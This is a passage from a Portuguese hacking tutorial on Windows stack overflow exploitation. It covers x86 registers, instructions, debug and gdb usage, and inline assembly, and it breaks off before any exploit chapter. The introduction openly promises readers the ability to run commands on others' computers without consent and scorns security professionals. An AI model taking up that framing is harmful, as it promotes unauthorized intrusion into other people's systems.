============================================
=========== CORPORACAO VIBORA ==============
2006-2008 A.C.H.U.B
A Cena Hacker Underground Brasileira.
============================================
char *titulo[]={
"[=] + =========================[####]========================== + [=]\n",
" *** ----=[ Explorando Stack Overflow no Windows ]=---- *** \n",
" *** ----=[ PARTE 1 - Entendendo o stack frame ]=---- \n",
"[=] + =========================[####]========================= + [=]\n\n"};
"O verdadeiro ator e aquele que nao conhece a si proprio..."
-- 6_Bl4ck9_f0x6
Author : 6_Bl4ck9_f0x6
A.k.a : David Diego Dennys F. Siqueira.
e-mail : b-fox [at] bol [dot] com [dot] br
Milw0rm : http://www.milw0rm.com/author/1863/
About this text:
I wrote this text for to expand knowledge for new hackers from Brazil and
of the all world. I hope you like and if you want send me some mails. This
text also was written as protest because exist many 'White Hats' in the
Brazil and they don't want to teach nothing, to write friend, prove you
aren't died and to write! I didn't see nothing of good in the texts of the
brazilians, then this text was writed. Thank's for to read. Enjoy of this
text my friend and spit on face of this stupids white hats. Fuck Security
industry, fuck full disclosure. Good reading...
[0x01] - Introducao - [0x01]
[0x02] - Pre-requisitos - [0x02]
[0x03] - Um pouco sobre Registers - [0x03]
[0x04] - Instructions set - [0x04]
[0x05] - GNU debugger - gdb - [0x05]
[0x06] - gcc in-line - [0x06]
[0x07] - Modos de enderecamento - [0x07]
[0x08] - Funcionamento basico da stack - [0x08]
[0x09] - O stack frame - [0x09]
[0x0A] - Como acontece o stack overflow - [0x0A]
[0x0B] - Seu primeiro exploit (local) - [0x0B]
[0x0C] - Exploracao remota - [0x0C]
[0x0E] - Consideracoes finais - [0x0E]
----- Capitulo 0x01
[=] + =========================================== + [=]
-----=[ Introducao ]=-----
[=] + =========================================== + [=]
Com este texto pretendo abordar o funcionamento do stack frame sobre arquitetura x86 (w32)
e pretendo mostrar tecnicas de exploracao do mesmo tanto local, como remota. Aqui, todo o
processo sera demonstrado passo a passo, pois todos sabemos a carencia que o Brasil tem de
textos em portugues que descrevam tal tecnica "para windows" e em uma linguagem de facil
"entendimento" para nossos jovens hackers, que levarao nossa linhagem especial adiante;
Neste paper voce conhecera o stack frame e tambem sabera como manipula-lo para faze-lo re-
tornar a um endereco de memoria especifico. No proximo texto demonstrarei manipulacao de
shellcodes para a exploracao de stack overflows no windows. Tambem escrevi este texto com o
intuito de aumentar o arsenal do milw0rm e para elevar o prestigio de meu pais aos olhos
de nossos irmaos hackers do mundo que acessam diariamente o milw0rm, porque todos sabemos
que no Brasil existe uma falta muito grande de profissionais de qualidade na area de SI -
Seguranca da Informacao, e como se nao bastasse o nome do hacking Brasileiro esta sendo
sujo a cada dia por alguns Sk's - Script kiddies que a unica coisa que fazem e usar trojans
escritos por terceiros e fazer deface por php em sites nunca antes vistos por eles, que por
sinal sao muito mau administrados pelo outro lado da corja, os falsos profissionais de
seguranca (Nao "hackers"). Gostaria de fazer um pedido a esses seres imprestaveis:
"Parem de sujar nosso nome."
A "verdadeira" cena hacker do Brasil agradece. Tambem gostaria de dedicar mais esse texto
ao str0ke, por estar sempre disposto a abrir portas para a divulgacao de meu trabalho, ao
'Edu' que brevemente fara o que pedi com relacao a area Brasil do blackhat-forums.com ;),
F3rGO, Dark_Side, blackwinner, e a todas as mulheres do mundo, pois sem elas nossas vidas
masculinas totalmente inuteis nao teria sentido algum. Com o conhecimento que aqui sera
descrito voce aprendera a executar comandos em qualquer computador do mundo, que esti-
ver conectado a internet, sem o concentimento do proprietario da maquina, bastando explo-
rar aplicacoes inseguras em execucao nas maquinas que serao invadidas, literalmente, por
"nos", hackers de sangue puro.
----- Capitulo 0x02
[=] + =========================================== + [=]
-----=[ Pre-requisitos ]=-----
[=] + =========================================== + [=]
Como neste texto pretendo abordar passo a passo o processo de exploracao, entao nao se faz
"necessario" que va procurar informacoes sobre a linguagem assembly em outro texto para
comecar a "entender" como explorar falhas de stack overflow, pois toda a base se encontra
neste documento. E claro que voce precisara ter um bom entendimento de assembly para poder
desenvolver shellcodes, mas por hora a unica coisa que voce precisara e deste documento.
Ao termino da leitura deste .txt recomendo que procure algum curso de assembly para uma
melhor compreensao do que sera demonstrado aqui, os mecanismos de buscas atuais sao exce-
lentes. O 'real' pre-requisito (Mais que previsivel), sera que o leitor tenha conhecimen-
tos intermediarios da linguagem C[1], para uma "melhor" compreensao deste texto. Entendi-
mento de enderecos de memoria e da base de enderecamento hexadecimal[2] tambem se faz ne-
cessario. As ferramentas necessarias/utilizadas aqui serao o gcc e o gdb. Para obter essas
ferramentas voce apenas precisa baixar o DEV-C++. Este e sem duvida nenhuma um dos melho-
res IDE's do mundo e pode ser encontrado em http://www.bloodshed.net . Os binarios neces-
sarios se encontram no diretorio '\Dev-Cpp\bin', voce podera inserir uma entrada estati-
ca no PATH do sistema para encontrar este diretorio com o comando PATH=%PATH%;\Dev-Cpp\bin
inserido em \autoexec.bat .
----- Capitulo 0x03
[=] + =========================================== + [=]
-----=[ Um pouco sobre Registers ]=-----
[=] + =========================================== + [=]
Podemos "comparar" um registrador a uma variavel, no qual armazenam valores diversos. Na
linguagem de programacao assembly existem os registradores de "uso geral" (no qual podem
armazenar qualquer valor/dados) e os registradores especiais. Nem todos os registradores
podem ser usados para armazenar valores inseridos por nos diretamente, como o registrador
eip (incluido na classe dos registradores especiais). Cada registrador possue uma deter-
minada funcao, nos *nixes os registradores de uso geral alem de poderem ser usados para o
armazenamento de qualquer tipo de dado, possuem funcoes exclusivas na execucao de uma
syscall por exemplo, como o "armazenamento" de valores de retorno das mesmas (eax) caso
retornem algo, e seus respectivos argumentos (ebx, ecx, edx, esi e edi respectivamente).
Veja os registradores de uso geral.
+=====+
| AX | Accumulator (Registrador Acumulador)
+-----+
| BX | Base (Registrador de base )
+-----+
| CX | Counter (Registrador Contador)
+-----+
| DX | Data (Registrador de dados)
+=====+
Antes dos processadores 80386 esses registradores eram de 16 bits ( [short] 2 bytes), nos
processadores atuais eles possuem 32 bits ( [long] 4 bytes). Esses registradores sao com-
postos por uma parte alta ('H'igh) e baixa ('L'ow). Nesse caso cada parte equivale a '8'
bits. Para uma melhor compreensao por parte do leitor sugiro que abram o debugador nativo
do windows XP SP1 ou SP2 e outras versoes, me refiro ao propriamente dito: debug.
Microsoft Windows XP [versão 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\David>debug
-r
AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0100 NV UP EI PL NZ NA PO NC
0D3C:0100 288107CF SUB [BX+DI+CF07],AL DS:CF07=00
-q
O comando 'r' e utilizado para visualizar os valores dos registradores. Note que apesar de
estar em um x86, esses registradores equivalem a 16 bits. Isso se deve ao fato de eu estar
em uma ferramenta ambientada para o antigo MS-DOS, portanto a mesma continua com seus pa-
droes. Veja o registrador acumulador dividido em sua parte alta e baixa:
AX = 00 00
(High <- Alta) (Low <- Baixa)
No capitulo "Instructions Set" veremos como manipular apenas determinas partes de um re-
gistrador. Como disse anteriormente, nos processadores atuais esses registradores equiva-
lem a 32 bits, e para haver uma diferenciacao por parte dos programadores existe uma no-
tacao que e utilizada para referenciar esses registers. Um 'E' de Extended. Que em portu-
gues significa 'E'stendido. Isso referencia os registradores de 32 bits dos x86 .
==========================
Registradores de uso geral
==========================
+=====+
| EAX | Extended Accumulator -> Registrador Acumulador Extendido
+-----+
| EBX | Extended Base -> Registrador de Base Extendido
+-----+
| ECX | Extended Counter -> Registrador Contador Extendido
+-----+
| EDX | Extended Data -> Rigistrador de Dados Extendido
+=====+
Uma representacao ideal para esse registrador em sua parte alta e baixa seria essa:
EAX = 0000 0000
(High <- Alta) (Low <- Baixa)
Nesse caso cada lado deste registrador e de 16 bits. Somando assim 32 bits (4 bytes).
Acredito que todos saibam que 8 bits equivalem a 1 byte. Veremos agora os registra-
dores especiais, os que se referem ao stack frame (Descrito "adiante"). Nao citarei
os registradores de segmento.
==========================
Registradores especiais
==========================
+=====+
| eip | Instruction pointer -> Ponteiro de instrucao extendido
+-----+
| ebp | Base pointer -> Ponteiro de base extendido
+-----+
| esp | Stack pointer -> Ponteiro de pilha extendido
+-----+
Esses sao apenas alguns dos registradores especiais (Termo para referenciar os registers
que nao sao de uso geral). O eip aponta para o endereco de memoria da proxima instrucao
a ser executada, o ebp aponta para a base do stack e o esp aponta sempre para o topo da
stack/pilha. No decorrer do texto voce ficara mais familiarizado com os mesmos.
----- Capitulo 0x04
[=] + =========================================== + [=]
-----=[ Instructions set ]=-----
[=] + =========================================== + [=]
Instruction set, ou "conjunto de instrucoes", sao as instrucoes que utilizarao os regis-
tradores. Essas instrucoes que sao responsaveis pela copia de um dado qualquer para um
registrador ou dados de um registrador para o outro, por exemplo. Demonstrarei apenas
algumas instrucoes, ou seja, apenas as que precisaremos para um "entendimento" do tema
abordado neste documento. As instrucoes aceitas por um micro-processador ja sao determi-
nadas de fabrica e voce podera ver as mesmas no site do fabricante (em instruction set).
Veja o instruction set da familia x86 em www.x86.org . No momento apenas se faz necessa-
rio o entendimento das descritas abaixo. Vamos usar mais uma vez o debug do windows, que
sera excelente para um bom entendimento. Usaremos o comando 'a' (assemble) para iniciar
o processo de marcacao de instrucoes para uma posterior execucao.
C:\Documents and Settings\David>debug
-a
0D3C:0100
Como voce pode ver, comecaremos a setar nossas instrucoes a partir do endereco 0100, en-
dereco esse que e o reservado como endereco inicial para um programa MS-DOS de 16 bits.
A primeira instrucao vista por nos sera a 'MOV', que movimenta (copia) dados. Vamos a um
exemplo pratico.
--=[ MOV ]=--
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\David>debug
-a
0D3C:0100 MOV AX,10 ; Copia o numero 10 para a parte baixa de AX (AL)
0D3C:0103 MOV AX,1515 ; Copia 1515 para a parte alta e baixa de AX (15 15).
0D3C:0106 MOV BX,AX ; Copia AX (1515) para BX (BX = 1515)
0D3C:0108 ; [Enter]
(...)
Veja os comentarios a sua direita. Bem aqui uma ressalva deve ser feita. A sintaxe[4]
utilizada acima, foi a INTEL, esta sintaxe determina que a origem sempre sera o dado
da direita, e o destino de tal dado e o registrador da esquerda. A sintaxe AT&T, que e
a utilizada nos *nixes, determina o oposto, ou seja, na sintaxe 'AT&T' a origem e o
valor da esquerda, e o destino e o registrador da direita. O comando -T executa nossas
instrucoes passao a passo (Step over).
0D3C:0100 MOV AX,10
(...)
0D3C:0108 ; [Enter]
-T
AX=0010 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC
0D3C:0103 B81515 MOV AX,1515
Veja que logo apos a execucao de nossa primeira instrucao, armazenada no endereco de
memoria 0100, o registrador AX agora possui o valor 10 em sua parte baixa. Repare a-
gora no registrador IP. Veja que ele aponta para a proxima instrucao a ser executa-
ta, ou seja, a intrucao armazenada no endereco 0103 que e a MOV AX,1515 . Teclamos o
comando 'T' mais uma vez e vemos o seguinte resultado:
-T
AX=1515 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0106 NV UP EI PL NZ NA PO NC
0D3C:0106 89C3 MOV BX,AX
Veja que AX agora possui o valor 1515 e o intruction pointer (IP) esta apontando para
o endereco 0106, que e o endereco da proxima instrucao a ser executada (MOV BX,AX).
-T
AX=1515 BX=1515 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0108 NV UP EI PL NZ NA PO NC
0D3C:0108 2911 SUB [BX+DI],DX DS:1515=2020
-Q
C:\DOCUME~1\David>
Veja que BX agora possui o mesmo valor de AX, ou seja, houve uma copia de dados. O
comando 'Q' (Quit) sai do debug. Ainda podemos manipular somente partes baixas ou
altas dos registradores bastando especificarmos o H ou L. Exemplo: MOV AH, 10 .
--=[ CALL e NOP ]=--
A instrucao call (chamar) basicamente faz uma chamada a um endereco de memoria. Veja:
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\David>debug
-a
0D3C : 0100 NOP ; No operation. Instrucao de 1 byte
0D3C : 0101 NOP
0D3C : 0102 CALL 0100 ; Chama o endereco 0100
0D3C : 0105
Seg: [offset]
Repare que a instrucao NOP (No operation) ou nenhuma operacao, equivale a 1 byte, pois
ela se incia no endereco 0100 e o proximo endereco e o 0101. A instrucao 'NOP' (\x90)
nao faz nada, quando o processador encontra essa instrucao ele imediatamente pula para
a proxima instrucao. No offset '0102' do segmento de dados (DS = 0D3C) especifiquei a
instrucao call seguida do endereco no qual quero "chamar". Quando executamos a instru-
cao call o fluxo do programa imediatamente segue para o endereco chamado. A instrucao
call chama o endereco e as instrucoes que se encontram no endereco chamado sao execu-
tadas. No capitulo "Funcionamento basico da stack", veremos mais sobre essa instrucao.
Podemos utilizar instrucoes que movimentam dados especificos, como movl, que movimenta
um long, ou seja, os 4 bytes de um registrador extendido, e movb que movimenta um byte.
Veja mais algumas instrucoes frequentemente usadas para desenvolvimento de shellcodes.
--=[ INC ]=---
Incrementa em 1 o valor de um registrador.
Sintaxe:
0D3C:0100 INC AX
Logo apos essa intrucao AX (registrador de 16 bits) sera representado dessa forma:
AX=0001
Podemos incrementar tambem apenas lados especificos de cada registrador. Veja mais
exemplos de operacoes manipuladoras de lados altos e baixos:
C:\DOCUME~1\David>debug
-a
0D3C:0100 INC AH
0D3C:0102 INC AL
0D3C:0104 <--- [ENTER]
-t
AX=0100 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0102 NV UP EI PL NZ NA PO NC
0D3C:0102 FEC0 INC AL
-t
AX=0101 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0104 NV UP EI PL NZ NA PO NC
0D3C:0104 2882073C SUB [BP+SI+3C07],AL SS:3C07=00
-q
--=[ DEC ]=---
A instrucao DEC faz o oposto da instrucao INC. Esta instrucao DECrementa o valor de um
registrador em 1.
Sintaxe(s):
1 - 0D3C:0100 DEC AX
2 - 0D3C:0100 DEC AH
3 - 0D3C:0100 DEC AL
--=[ ADD ]=--
Essa instrucao "soma" os dados de origem com os dados de detino e o resultado e arma-
zenado no destino.
Exemplo:
-a
0D3C:0100 MOV AX,10 ; <--- Copia 10 para AX
0D3C:0103 MOV BX,10 ; <--- Copia 10 para BX
0D3C:0106 ADD AX,BX ; <--- Soma AX + BX
0D3C:0108
Veja que copio o valor 10 para AX e para BX, depois somo os valores armazenados em ambos
registradores e o resultado sera armazenado no registrador de destino, AX, pois estou u-
tilizando a sintaxe INTEL. Entao, apos todas as instrucoes serem executadas o valor de
AX sera 20.
(...)
-t
AX=0020 BX=0010 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=010A NV UP EI PL NZ NA PO NC
0D3C:010A 253120 AND AX,2031
-q
Repare aqui: AX=0020
--=[ SUB ]=--
A instrucao sub "SUBtrai" dois valores e armazena o resultado no registrador de destino.
Exemplo:
-A
0D3C:0100 MOV AX,F
0D3C:0103 SUB AX,1
0D3C:0106
-t
AX=000F BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC
0D3C:0103 2D0100 SUB AX,0001
-t
AX=000E BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0106 NV UP EI PL NZ NA PO NC
0D3C:0106 07 POP ES
-q
Repare que o registrador AX depois da subtracao de 1, equivale a E. Lembre-se que
registradores trabalham com a base hexadecimal[2], portanto um conhecimento sobre
a mesma e mais que necessario.
--=[ JMP ]=--
Essa instrucao salta (JuMP) para um determinado endereco de memoria, fazendo com que
o fluxo do programa seja desviado para esse endereco.
C:\Documents and Settings\David>debug
-a
0D3C:0100 MOV DL,1 ; Move 1 para DL
0D3C:0102 INC DL ; Incrementa DL em 1
0D3C:0104 JMP 0100 ; Salta para o endereco inicial
0D3C:0106
Nesse exemplo acima, todas as vezes que o fluxo de dados chegar ao endereco
0104, ele saltara para o endereco inicial que continuara a executar as ins-
trucoes anteriores ao salto, ou seja, 'DL' nao pararia de ser incrementado,
mas devido a rotina, ele nao passaria do valor 2, pois a primeira instrucao
sobrescreve o valor anterior.
=================
Intrucoes logicas
=================
Na linguagem binaria 1 e 0 significam verdadeiro e falso respectivamente. As instrucoes
descritas a seguir comparam dois valores e retornam um valor verdadeiro ou falso, e o
registrador de destino (sintaxe INTEL) que recebera os dados retornados.
--=[ AND ]=--
Essa intrucao compara dois valores e retorna um valor verdadeiro se as duas instrucoes
tambem forem verdadeiras.
AND 1 1 = 1
AND 0 1 = 0
AND 1 0 = 0
AND 0 0 = 0
--=[ OR ]=--
A instrucao OR (ou) por sua vez requer que apenas um dos valores seja verdadeiros,
para tambem retornar um valor positivo. Veja:
OR 1 1 = 1
OR 1 0 = 1
OR 0 1 = 1
OR 0 0 = 0
--=[ XOR ]=--
Essa instrucao e quase igual ao OR, ela faz a comparacao de dois valores e apenas
retorna um valor verdadeiro quando um deles ("apenas um") for tambem verdadeiro.
Repito: Apenas um dos dois valores comparados deve ser '1 '(verdadeiro) para essa
instrucao retornar um valor verdadeiro.
C:\Documents and Settings\David>debug
-A
0D3C:0100 MOV AX,1 ; Move 1 para AX
0D3C:0103 XOR AX,1 ; 1, 1 = 0
0D3C:0106
-t
AX=0001 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0103 NV UP EI PL NZ NA PO NC
0D3C:0103 350100 XOR AX,0001
Repare que o valor 1 foi copiado para AX, abaixo segue a instrucao que compara
os valores referentes.
-t
AX=0000 BX=0000 CX=0000 DX=0000 SP=FFEE BP=0000 SI=0000 DI=0000
DS=0D3C ES=0D3C SS=0D3C CS=0D3C IP=0106 NV UP EI PL ZR NA PE NC
0D3C:0106 07 POP ES
-q
C:\DOCUME~1\David>
Veja que o resultado foi falso, porque "apenas um" dos registradores tem que armazenar
o valor 1 e nesse caso os dois valores envolvidos no teste eram 1, assim sobrescreven-
do o valor que tinha sido previamente armazenado em AX ('1'), com o valor "retornado"
pela operacao XOR (0).
XOR 1 1 = 0
XOR 1 0 = 1
XOR 0 1 = 1
XOR 0 0 = 0
----- Capitulo 0x05
[=] + =========================================== + [=]
---=[ GNU debugger - gdb ]=---
[=] + =========================================== + [=]
O GDB e um debugger nativo dos *nixes/Linuxes, mas foi portado para arquitetura w32.
Como o proprio nome ja dos diz, um debugger nada mais e do que o programa que nos
mostrara os codigos internos de outro programa (por exemplo) em assembly. Recur-
so esse que e muito util para sabermos o que o programa faz no nosso sistema quando
seu codigo fonte nao e divulgado e para o descobrimento de bugs em nossos programas.
Com um debugger podemos ver os "enderecos" de memoria utilizados pelos programas,
suas bibliotecas, e tambem podemos modificar suas instrucoes internas. Se escrever-
mos um programa usando a linguagem assembly, as instrucoes deste mesmo programa se-
rao vistas em assembly no debugger, ou seja, na linguagem que escrevemos. Veja al-
gumas opcoes que nos serao muito uteis para o completo entendimento da stack e um
"entendimento" maior sobre o desenvolvimento de shellcodes tanto para windows quanto
para *nixes/Linuxes.
-q --> Esta opcao (Quiet) na chamada do programa nao emite banner do gdb.
break --> Esta opcao seta um breakpoint, que nada mais e do que definir onde
o programa sera "pausado" quando iniciarmos o mesmo ("run"). Cada
break point recebe um numero de identificacao.
disassemble --> Esta e a opcao que nos mostra o codigo em assembly propriamente di-
to, ou seja, seguido de um frame, ela e capaz de nos mostrar todas
as instrucoes daquele frame.
run --> Esta opcao que sera utilizada para iniciar a execucao do programa
dentro do debugger. Esta opcao pode ou nao receber argumentos.
list --> Nos mostra os symbols armazenados na tabela de exportacao de symbols
de um programa.
info --> Usado para visualizarmos determinadas informacoes. Dentre elas po-
podemos ressaltar:
register (registrador) -> Exibe valores de registradores.
breakpoints -> Exibe os breakpoints setados.
Para maiores informacoes digite o comando 'info' no gdb, que lhe
sera mostrado varias opcoes.
del --> Remove um breakpoint especificado por um numero. Se este numero for
omitido, todos os breakpoints serao deletados.
file --> Carrega a tabela de symbols de um determinado programa.
continue --> Continua a execucao do programa depois de uma parada (breakpoint).
x/ --> Com esta opcao definimos alguns metodos uteis de visualizacao de
dados do programa. Tais como:
s --> Exibe a string ("texto") armazenada em um endereco.
x --> Exibe os dados em hexadecimal.
i --> Exibe a instrucao em assembly contida no endereco.
b --> Um unico byte (opcode).
----- Capitulo 0x06
[=] + =========================================== + [=]
-----=[ gcc in-line ]=-----
[=] + =========================================== + [=]
Com o gcc existe a possibilidade de insercao de instrucoes em assembly em codigos 'C',
utilizando o recurso __asm ();, essa instrucao determina a inicializacao de instrucoes
assembly. Com a utilizacao do gcc "in-line" podemos criar rotinas para execucao de
shellcodes (citado adiante) utilizando assembly, entre varias outras boas utilidades.
Este capitulo sera destinado a lhe dar uma melhor "firmacao" dos conhecimento descrito
neste paper. As sintaxes utilizadas abaixo serao detalhadamente descritas no decorrer
deste documento, portanto encare este capitulo apenas como uma "previa apresentacao"
do que foi e do que lhe sera ensinado, pois a intencao deste texto e firmar o conhe-
cimento em hacking na sua mente, nao dar exemplos vagos. Veja alguns exemplos de sin-
taxes do gcc in-line:
Exemplo I
main (){
__asm (" NOP;NOP;NOP \n");
}
Exemplo II
main (){
__asm (
"NOP \n"
"NOP ");
}
======================
Entendendo os Symbols
======================
Resumidamente, o recurso de symbols nada mais e do que um recurso que salva em tempo
de compilacao, em uma tabela, as instrucoes nativas (Codigo fonte) de um programa, nesse
caso, escrito em C. Quando um programa e compilado voce pode decidir se deseja exportar
symbols (Simbolos), ou nao. No processo de compilacao[5] de um programa, os codigos sao
pre-processados e convertidos em assembly, depois seguem para mais processos, assim fa-
zendo com que todas as linhas de codigo nativas, como variaveis e rotinas, que estao no
formato escrito por voce, sejam perdidas. Assim seria impossivel de debuga-lo usando o
gdb. Para compilar um programa com suporte a depuracao, basta usar a opcao -g do gcc.
-- testing.c --
#include <stdio.h>
main (){
puts ("This is a test");
}
-- cut here --
C:\>gcc testing.c -o test -g
C:\>gdb test -q
(gdb) list
1 #include <stdio.h>
2
3 main (){
4
5 puts ("This is a test");
6
7 }
(gdb) q
Se nao compilarmos habilitando o suporte a debugging ao executavel, o resultado sera
este apresentado abaixo.
C:\>gcc testing.c -o test
C:\>gdb test -q
(no debugging symbols found)...(gdb)
(gdb) q
C:\>
Um detalhe segue: Quando voce compila um programa utilizando o Dev-C++ o gcc usa a
opcao -g por padrao (Underground blood).
====================================
Movimentacao de dados em gcc in-line
====================================
-- inline.c --
main (){
__asm (
"MOV $0xA, %ebx \n"
"MOVL %ebx, %eax \n" );
}
-- cut here --
Agora vamos "disassemblar" esse programa para vermos o estado do registrador eax.
Primeiramente inicializo o gdb sem a emissao do banner do programa (-q) para logo
depois visualizar os symbols do programa a ser debugado, ou seja, o seu codigo.
C:\Documents and Settings\David\Desktop>gdb inline.exe -q
(gdb) list
1 main (){
2
3 __asm (
4
5 "MOV $0xA, %ebx \n"
6 "MOVL %ebx, %eax \n" );
7
8 }
9
Vamos agora usar o comando disassemble (abreviado para disass) seguido da parte do
codigo que desejamos visualizar as instrucoes, ou seja, a parte do codigo que quero
ver "disassemblada". Repare que utilizo um "symbol" para referencia-la. Nesse caso
desejo ver as instrucoes a partir do entry point (ponto de entrada), main. O Entry
point e o nome que se da ao local onde se iniciam os codigos.
(gdb) disass main
Dump of assembler code for function main:
0x401290 <main>: push %ebp
0x401291 <main+1>: mov %esp,%ebp
0x401293 <main+3>: sub $0x8,%esp
0x401296 <main+6>: and $0xfffffff0,%esp
0x401299 <main+9>: mov $0x0,%eax
0x40129e <main+14>: add $0xf,%eax
0x4012a1 <main+17>: add $0xf,%eax
0x4012a4 <main+20>: shr $0x4,%eax
0x4012a7 <main+23>: shl $0x4,%eax
0x4012aa <main+26>: mov %eax,0xfffffffc(%ebp)
0x4012ad <main+29>: mov 0xfffffffc(%ebp),%eax
0x4012b0 <main+32>: call 0x401710 <_alloca>
0x4012b5 <main+37>: call 0x4013b0 <__main>
0x4012ba <main+42>: mov $0xa,%ebx
0x4012bf <main+47>: mov %ebx,%eax
0x4012c1 <main+49>: leave
0x4012c2 <main+50>: ret
End of assembler dump.
Eu poderia disassemblar qualquer symbol. Repare tambem que e "possivel" abreviar as
intrucoes do gdb, info poderia ser apenas 'i', register poderia ser apenas 'r' e run
poderia ser tambem apenas 'r'. Veja que as instrucoes escritas por nos se iniciam no
endereco de memoria da instrucao 'main+42', ou seja, a partir do endereco 0x4012ba .
E nessa instrucao ('42') de main que ha uma copia do valor em hexadecimal 'A' para o
registrador ebx. O intuito aqui e visualizar o valor armazenado no registrador eax,
e aprender mais sobre o gdb, portanto marcaremos um breakpoint na instrucao main+49
que e a instrucao seguinte a operacao de copia, assim poderemos ver o resultado da
operacao anterior.
(gdb) break *main+49
Breakpoint 1 at 0x4012c1: file C:/Documents and Settings/David/Desktop/inline.c, line 8.
Marcamos o ponto de parada do programa apos sua execucao (comando run) dentro do de-
bugger. Vamos ver informacoes sobre esse ponto de parada.
(gdb) i breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x004012c1 in main
at C:/Documents and Settings/David/Desktop/inline.c:8
breakpoint already hit 1 time
Acima podemos ver em que funcao o breakpoint esta setado, o endereco de memoria que esse
breakpoint esta setado, o numero de identificacao deste breakpoint caso nos quisermos
remove-lo (del 1), entre outras informacoes. Vamos iniciar a execucao do programa.
(gdb) r
Starting program: C:\Documents and Settings\David\Desktop/inline.exe
Breakpoint 1, main () at C:/Documents and Settings/David/Desktop/inline.c:8
8 }
O programa parou no breakpoint, vamos ver agora o valor de 'eax' e do registrador que
aponta para a proxima instrucao a ser executada, o extended instruction pointer (eip).
(gdb) i r eax eip
eax 0xa 10
eip 0x4012c1 0x4012c1
Veja que nos e mostrado em hexadecimal (0xa) e em decimal (10) o valor contido no re-
gistrador eax. Veja que o eip esta apontando para o endereco 0x4012c1, vamos ver que
instrucao sera executada quando eu continuar a execucao do programa dentro do gdb.
(gdb) x/i $eip
0x4012c1 <main+49>: leave
Veja que utilizo o cifrao ('$') para referenciar o registrador. Tambem veja que u-
tilizo o parametro 'i' (instrucion) do x/ para visualizar a instrucao em assembly
armazenada no endereco que o registrador eip aponta. Continuaremos a execucao do
programa apos a parada e sairemos do gdb.
(gdb) continue
Continuing.
Program exited with code 012.
(gdb) quit
----- Capitulo 0x07
[=] + =========================================== + [=]
-----=[ Modos de enderecamento ]=-----
[=] + =========================================== + [=]
Os modos de enderecamento sao os que vao determinar como os dados serao enderecados
pelo processador. Cada instrucao em assembly e convertida no que costumamos chamar
de opcode (Operation code - Codigo de operacao), que e a intrucao que o processador
"realmente executa", instrucoes em assembly nada mais sao do que "representacoes
legiveis" a essas intrucoes. Quando compilamos a instrucao 'NOP' por exemplo, o
processador converte esta "representacao" no seu respectivo opcode. O opcode que
representa essa instrucao e o '90', e esta instrucao em hexadecimal (opcode) que o
processador realmente executa. Os instructions set sao convertidos em instrucoes
hexadecimais, pelo processador, que fara um enderecamento de acordo com as instru-
coes em assembly utilizadas. Basicamente existe '6' tipos de modos de enderecamento,
que sao:
1 - Register Addressing [Enderecamento registrador ]
2 - Immediate Addressing [Enderecamento imediato ]
3 - Direct Addressing [Enderecamento direto ]
4 - Indirect Addressing [Enderecamento indireto ]
5 - Basepointer Addressing [Enderecamento de ponteiro base ]
6 - Indexed Addressing [Enderecamento indexado ]
*********************************
*Register Addressing Mode - RAM *
*********************************
O modo de enderecamento registrador e composto basicamente por uma copia de dados
de um registrador para o outro, veja um exemplo:
-- example.c --
/*
*
* ---=[ Sintaxe AT&T]=---
*
* source -> destination
*
*/
main (){
__asm (
"MOVL %ebx, %eax \n" );
}
-- cut here --
Nesse exemplo, os 32 bits ([long] 4 bytes) de dados que o registrador ebx armazena
sao copiados para o registrador eax. Na sintaxe AT&T[4] utilizamos a notacao per-
centual ('%') para referenciarmos os registradores.
**********************************
*Immediate Addressing mode - IAM *
**********************************
Com o modo de enderecamento imediato nos nao "referenciamos" valores, mas sim de-
claramos valores imediatos em si. Nos podemos declarar valores imediatos em hexa-
decimal, ou em decimal. Como em C e assembly para referenciarmos valores hexade-
cimais precisamos utilizar a notacao 0x seguida do valor propriamente dito, esse
valor por sua vez pode ser endereco de memoria ou apenas um numero qualquer. Veja
um exemplo do modo de enderecamento imediato:
main (){
__asm (
"MOVL $0x0A, %eax \n" );
}
Repare que o valor hexadecimal 0A (10 em decimal) foi denotado com o cifrao '$'
que e utilizado para referenciar o valor imediato que sera copiado para o re-
gistrador eax. Para passarmos valores decimais obviamente que bastaria que nao
utilizemos a notacao de valores hexadecimais ('0x'). Exemplo: $10 . Mas como o
processador trabalha com numeros hexadecimais voce vera o 0x'a' ao invez de dez
quando disassemblar.
(...)
0x4012be <main+46>: mov $0xa,%eax
(...)
*******************************
*Direct Addressing Mode - DAM *
*******************************
O modo de enderecamento direto e o padrao, com este metodo referenciamos enderecos
de memoria. Todos os valores passados sao em hexadecimal, pois e a base numerica
usada nesse nivel de programacao.
Exemplo I
-- dam.c --
main (){
__asm (
"MOVL 0x00000010, %eax \n" );
}
-- cut --
Repare que para referenciar enderecos de memoria nao utilizamos o cifrao, pois
estamos trabalhando no nivel de processador (hexadecimal).
Exemplo II
-- dam_sampleII.c --
main (){
